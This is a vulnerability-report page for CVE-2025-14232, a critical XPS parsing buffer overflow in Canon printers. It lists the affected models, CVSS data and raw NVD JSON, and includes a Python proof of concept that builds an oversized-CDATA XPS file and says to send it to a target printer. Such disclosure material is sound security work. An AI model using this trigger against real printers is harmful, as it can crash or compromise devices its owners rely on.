Security Vulnerability Report
中文
CVE-2025-14232 CVSS 9.8 CRITICAL

CVE-2025-14232

Published: 2026-01-16 00:16:27
Last Modified: 2026-01-26 15:10:50
Source: f98c90f0-e9bd-4fa7-911b-51993f3571fd

Description

Buffer overflow in XML processing of XPS file in Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:canon:mf453dw:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:canon:mf452dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:canon:mf452dw:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:canon:mf451dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:canon:mf451dw:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:canon:mf654cdw_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:canon:mf654cdw:-:*:*:*:*:*:*:* - NOT VULNERABLE
Satera LBP670C Series 固件 v06.02 及更早版本
Satera MF750C Series 固件 v06.02 及更早版本
Color imageCLASS LBP630C Series 固件 v06.02 及更早版本
Color imageCLASS MF650C Series 固件 v06.02 及更早版本
imageCLASS LBP230 Series 固件 v06.02 及更早版本
imageCLASS X LBP1238 II 固件 v06.02 及更早版本
imageCLASS MF450 Series 固件 v06.02 及更早版本
imageCLASS X MF1238 II 固件 v06.02 及更早版本
imageCLASS X MF1643i II 固件 v06.02 及更早版本
imageCLASS X MF1643iF II 固件 v06.02 及更早版本
i-SENSYS LBP630C Series 固件 v06.02 及更早版本
i-SENSYS MF650C Series 固件 v06.02 及更早版本
i-SENSYS LBP230 Series 固件 v06.02 及更早版本
i-SENSYS 1238P II / 1238Pr II 固件 v06.02 及更早版本
i-SENSYS MF450 Series 固件 v06.02 及更早版本
i-SENSYS MF550 Series 固件 v06.02 及更早版本
i-SENSYS 1238i II / 1238iF II 固件 v06.02 及更早版本
imageRUNNER 1643i II / 1643iF II 固件 v06.02 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-14232 PoC - Canon Printer XPS Buffer Overflow # This PoC generates a malicious XPS file with oversized XML tags import struct import zipfile import io def create_malicious_xps(): """Generate a crafted XPS file to trigger buffer overflow in XML parsing""" # Create XPS package structure xps_content = io.BytesIO() with zipfile.ZipFile(xps_content, 'w', zipfile.ZIP_DEFLATED) as xps: # [Content_Types].xml - Required XPS manifest content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/FixedDocumentSequence.fds" ContentType="application/vnd.ms-xpsdocument"/> <Override PartName="/Documents/1/FixedDocument.fdoc" ContentType="application/vnd.ms-xpsdocument"/> </Types>''' xps.writestr('[Content_Types].xml', content_types) # _rels/.rels - Package relationships rels = '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.microsoft.com/xps/2005/relationships/fixeddocumentsequence" Target="/FixedDocumentSequence.fds"/> </Relationships>''' xps.writestr('_rels/.rels', rels) # FixedDocumentSequence.fds - Document sequence with malicious XML # Payload: Oversized tag content to trigger buffer overflow oversized_payload = 'A' * 10000 # Large payload to overflow buffer doc_sequence = f'''<?xml version="1.0" encoding="UTF-8"?> <FixedDocumentSequence xmlns="http://schemas.microsoft.com/xps/2006/5" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <DocumentReference Source="Documents/1/FixedDocument.fdoc"> <Payload><![CDATA[{oversized_payload}]]></Payload> </DocumentReference> </FixedDocumentSequence>''' xps.writestr('FixedDocumentSequence.fds', doc_sequence) # Documents/1/FixedDocument.fdoc doc = '''<?xml version="1.0" encoding="UTF-8"?> <FixedDocument xmlns="http://schemas.microsoft.com/xps/2006/5"> <PageContent Source="Pages/1.fpage"/> </FixedDocument>''' xps.writestr('Documents/1/FixedDocument.fdoc', doc) # Pages/1.fpage - Malicious page with buffer overflow trigger page_content = f'''<?xml version="1.0" encoding="UTF-8"?> <FixedPage xmlns="http://schemas.microsoft.com/xps/2006/5" Width="816" Height="1056"> <Canvas> <Path Data="M 0,0 L 100,0"> <Path.RenderTransform> <MatrixTransform> <Matrix><![CDATA[1 0 0 1 {oversized_payload} 0]]></Matrix> </MatrixTransform> </Path.RenderTransform> </Path> </Canvas> </FixedPage>''' xps.writestr('Documents/1/Pages/1.fpage', page_content) return xps_content.getvalue() def exploit(): """Main exploit function""" print("[*] Generating malicious XPS file for CVE-2025-14232") xps_data = create_malicious_xps() output_file = "CVE-2025-14232_poc.xps" with open(output_file, 'wb') as f: f.write(xps_data) print(f"[+] PoC XPS file created: {output_file}") print(f"[+] File size: {len(xps_data)} bytes") print("[*] Send this file to target Canon printer to trigger vulnerability") return output_file if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14232", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-01-16T00:16:27.430", "lastModified": "2026-01-26T15:10:50.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow in XML processing of XPS file in Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe."}, {"lang": "es", "value": "Desbordamiento de búfer en el procesamiento XML de archivos XPS en impresoras multifunción para pequeñas oficinas e impresoras láser(*), lo que puede permitir a un atacante en el segmento de red provocar que el producto afectado deje de responder o ejecutar código arbitrario. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 y anteriores vendidos en Japón. Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 y anteriores vendidos en EE. UU. i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 y anteriores vendidos en Europa."}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "E97C016E-CE05-4F54-B4F6-CB44451E7025"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:*", "matchCriteriaId": "376C5E10-0D6C-405D-BC63-BDE7257A8142"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "A65134F0-B34B-42BF-B0DD-3ED5DFB0EB08"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2 ... (truncated)